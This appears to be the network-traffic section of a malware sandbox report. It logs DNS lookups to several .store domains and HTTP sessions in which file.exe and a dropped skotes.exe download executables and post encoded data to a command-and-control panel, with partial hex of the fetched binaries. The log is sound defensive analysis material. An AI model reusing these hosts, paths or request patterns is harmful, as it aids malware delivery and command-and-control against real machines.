Oct 29, 2024 20:36:35.897320986 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.897530079 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.897552967 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.897568941 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.897583008 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.897600889 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.897620916 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.897625923 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.897625923 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.897625923 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.897625923 CET	49991	80	192.168.2.7	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 29, 2024 20:35:05.229203939 CET	192.168.2.7	1.1.1.1	0xc5b1	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:11.372644901 CET	192.168.2.7	1.1.1.1	0xba3c	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:11.421627998 CET	192.168.2.7	1.1.1.1	0x6ee6	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:11.589379072 CET	192.168.2.7	1.1.1.1	0x97bd	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:11.610249043 CET	192.168.2.7	1.1.1.1	0x100a	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:11.630157948 CET	192.168.2.7	1.1.1.1	0xa272	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:36:24.561880112 CET	192.168.2.7	1.1.1.1	0xe26f	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:36:24.574455023 CET	192.168.2.7	1.1.1.1	0x8514	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:36:24.585604906 CET	192.168.2.7	1.1.1.1	0x3701	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:36:24.612751007 CET	192.168.2.7	1.1.1.1	0x75b	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:37:05.599026918 CET	192.168.2.7	1.1.1.1	0x5e7e	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:37:09.524852037 CET	192.168.2.7	1.1.1.1	0x30f0	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:37:09.542566061 CET	192.168.2.7	1.1.1.1	0x4687	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:37:09.555799961 CET	192.168.2.7	1.1.1.1	0xcc75	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:37:09.567895889 CET	192.168.2.7	1.1.1.1	0xff62	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:37:20.288193941 CET	192.168.2.7	1.1.1.1	0x3557	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:37:20.431514978 CET	192.168.2.7	1.1.1.1	0xa9df	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:37:20.455987930 CET	192.168.2.7	1.1.1.1	0x7c1c	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:37:20.468483925 CET	192.168.2.7	1.1.1.1	0x896b	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 29, 2024 20:35:05.237700939 CET	1.1.1.1	192.168.2.7	0xc5b1	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 20:35:07.211656094 CET	1.1.1.1	192.168.2.7	0xa8d0	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 20:35:07.211656094 CET	1.1.1.1	192.168.2.7	0xa8d0	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:11.386723042 CET	1.1.1.1	192.168.2.7	0xba3c	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:11.434441090 CET	1.1.1.1	192.168.2.7	0x6ee6	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:11.601993084 CET	1.1.1.1	192.168.2.7	0x97bd	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:11.623095036 CET	1.1.1.1	192.168.2.7	0x100a	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:11.651180983 CET	1.1.1.1	192.168.2.7	0xa272	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:11.651180983 CET	1.1.1.1	192.168.2.7	0xa272	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:36:24.571500063 CET	1.1.1.1	192.168.2.7	0xe26f	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:36:24.584268093 CET	1.1.1.1	192.168.2.7	0x8514	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:36:24.609554052 CET	1.1.1.1	192.168.2.7	0x3701	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:36:24.633090019 CET	1.1.1.1	192.168.2.7	0x75b	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:37:05.606964111 CET	1.1.1.1	192.168.2.7	0x5e7e	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:37:05.606964111 CET	1.1.1.1	192.168.2.7	0x5e7e	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:37:05.606964111 CET	1.1.1.1	192.168.2.7	0x5e7e	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:37:05.606964111 CET	1.1.1.1	192.168.2.7	0x5e7e	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:37:05.606964111 CET	1.1.1.1	192.168.2.7	0x5e7e	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:37:09.536223888 CET	1.1.1.1	192.168.2.7	0x30f0	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:37:09.553087950 CET	1.1.1.1	192.168.2.7	0x4687	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:37:09.565838099 CET	1.1.1.1	192.168.2.7	0xcc75	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:37:09.577873945 CET	1.1.1.1	192.168.2.7	0xff62	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:37:20.424545050 CET	1.1.1.1	192.168.2.7	0x3557	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:37:20.454761982 CET	1.1.1.1	192.168.2.7	0xa9df	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:37:20.467282057 CET	1.1.1.1	192.168.2.7	0x7c1c	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:37:20.479581118 CET	1.1.1.1	192.168.2.7	0x896b	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49873	185.215.113.16	80	7444	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:35:37.180599928 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 29, 2024 20:35:38.084682941 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:35:37 GMT Content-Type: application/octet-stream Content-Length: 2850304 Last-Modified: Tue, 29 Oct 2024 18:26:40 GMT Connection: keep-alive ETag: "672128e0-2b7e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 7f 77 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,w,`Ui` @ @.rsrc`2@.idata 8@sgyfneub ++:@wyedghxm +X+@.taggant@+"\+@
Oct 29, 2024 20:35:38.084701061 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:35:38.084713936 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:35:38.084813118 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:35:38.084825039 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:35:38.084840059 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:35:38.084865093 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:35:38.084877968 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:35:38.084888935 CET	1236	IN	Data Raw: bd 83 ad 81 6f 6f 94 97 ff a6 12 2d 09 fb 70 d7 44 be 95 0b 9b 05 8b 23 37 b2 c4 2e b4 40 e6 dd 73 aa bd 22 35 47 a8 e2 04 2f e6 ed f5 de ad 24 3d 06 95 6e 2e 9c 82 e1 a9 b9 47 78 2a d4 54 da 0d 42 91 19 ae 73 a7 a9 67 04 10 31 ac 1d 95 aa 8c 84 Data Ascii: oo-pD#7.@s"5G/$=n.GxTBsg1k6oa!ZJFHK>%Y;b$Zu#4Z(_j_#y;94I4E\|d"CN0UJk~G"uwEt2=*}[kF+tekQuqNNu}Fk
Oct 29, 2024 20:35:38.084899902 CET	1236	IN	Data Raw: 95 f5 aa c4 9c 7c 9f 1b 6d 43 a7 3b 85 44 ad 1b fa 25 a0 37 75 28 9b 47 88 21 1a d4 9a 84 d3 21 b5 76 b0 bc b5 69 72 6c 73 8c 93 d4 2c c1 c7 96 a5 01 e9 d4 f2 d8 ea 32 71 e2 96 1d 19 f1 a6 9f 33 27 a5 2a 67 03 b9 29 37 24 85 fc 79 b5 ac 78 6f f2 Data Ascii: \|mC;D%7u(G!!virls,2q3'g)7$yxo/`Q0C{<gEjtz,v&zbQe/d_qP{R"}eef53Q?,8()?l7?C65bb2! YK3.8!\0Zx=640E_c\|
Oct 29, 2024 20:35:38.090641022 CET	1236	IN	Data Raw: 59 bc b2 82 86 a9 66 75 07 5e 08 29 8a 0d 89 c5 cc 2e ff 22 b9 32 b1 1b 1a 64 54 25 7e 2b 75 f3 56 1f 9d 21 c3 9a 23 a2 50 9c 95 67 7f ba df 1b 96 56 43 d1 d4 43 52 c3 4f 5c 86 dc f7 3a 02 6f 54 71 c2 dd b4 3c b3 a7 15 17 34 e8 c4 0e 01 7f 1b 2b Data Ascii: Yfu^)."2dT%~+uV!#PgVCCRO\:oTq<4+~)HcXUvwmzHyNuk:OUx'6yk;1w2q{rc_52]cJ77T>#\|gZ~wBhT"C\At<U-l?;y)dy@q)"8$4Ub~)gjS
Oct 29, 2024 20:35:44.075995922 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 29, 2024 20:35:44.355875015 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:35:44 GMT Content-Type: application/octet-stream Content-Length: 1915904 Last-Modified: Tue, 29 Oct 2024 18:58:42 GMT Connection: keep-alive ETag: "67213062-1d3c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 60 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf`L@LD@Wk@L8@L @.rsrc@.idata @ p+@dqejjcio0 2"@gfikdquePL@.taggant0`L"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49979	185.215.113.43	80	424	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:36:04.211908102 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 20:36:05.106415987 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:36:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49980	185.215.113.43	80	424	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:36:06.636219978 CET	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 29, 2024 20:36:07.565339088 CET	1094	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:36:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 38 37 0d 0a 20 3c 63 3e 31 30 30 30 34 36 30 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 66 37 62 35 63 36 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 30 34 36 35 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 61 62 66 65 66 66 62 35 38 34 36 64 39 33 34 66 34 38 62 31 35 65 61 61 34 39 35 63 34 39 23 31 30 30 31 36 39 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 65 34 66 39 62 35 38 34 36 64 39 33 34 66 34 38 62 31 35 65 61 61 34 39 35 63 34 39 23 31 30 30 31 37 33 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 34 66 34 [TRUNCATED] Data Ascii: 387 <c>1000460031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1000465031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eabfeffb5846d934f48b15eaa495c49#1001698001+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4e4f9b5846d934f48b15eaa495c49#1001735001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1001776101+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9ea8edf4fbd97e9c4543b31de15441#1002431001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbdc769c5543b15ff7434a4903cc92e100b7#1002448001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1002449001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1002450001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1002451001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49981	185.215.113.16	80	424	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:36:07.799774885 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 29, 2024 20:36:08.722634077 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:36:08 GMT Content-Type: application/octet-stream Content-Length: 2127360 Last-Modified: Tue, 29 Oct 2024 18:58:35 GMT Connection: keep-alive ETag: "6721305b-207600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 a0 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 72 00 00 04 00 00 7b 45 21 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,r@r{E!@P.d. p.v@.rsrc .@.idata .@ *.@iuotgomaX@ujumrvwnrP @.taggant0r"T @
Oct 29, 2024 20:36:08.722918034 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:36:08.722984076 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:36:08.723005056 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:36:08.723026037 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:36:08.723047972 CET	1236	IN	Data Raw: c1 ea 28 63 10 e8 b6 6d 04 fb ab 8d 59 2c 83 74 38 87 6e 00 ed 58 2b 27 40 23 76 77 7a 79 40 21 69 a8 73 4a 96 83 70 72 23 30 c0 38 19 47 de 6e 24 ed 8a 47 ab db d5 75 34 89 72 af 15 2e 77 32 2c ca ba 4e 30 ca ba 4e 34 ca ba 4e 38 ca ba 4e 3c ca Data Ascii: (cmY,t8nX+'@#vwzy@!isJpr#08Gn$Gu4r.w2,N0N4N8N<N@NDNHNLXP"W>Xh7R<2@DWghH62`h>>`g>J`g54\|6HJ4h\sI/=3R;sC[1Yc2W;,9/H}4I-n7*V<sE!
Oct 29, 2024 20:36:08.723066092 CET	1236	IN	Data Raw: 29 d2 26 a5 88 d4 07 7f e8 39 d5 b6 bb 5e 70 a9 c7 cb 3f ae 24 42 a4 db c9 bb 01 d3 04 c9 26 c9 6c 9f 60 be ad c7 24 ed d5 2a 5f 60 29 53 df 99 be 97 bf 37 5d 70 6e 2a ee cf 5f 2e 86 7d 33 c8 e1 89 2a 39 8d 4c ba 3a eb 48 ec f6 05 c4 6e 9a f7 03 Data Ascii: )&9^p?$B&l`$_`)S7]pn_.}39L:HnW.=pWERn^tJU&Y+6\|>[Z2UV5jNJ!392nC>nSEAh%$p8~rz q0<'F>GY:'tT,)[?$hdo
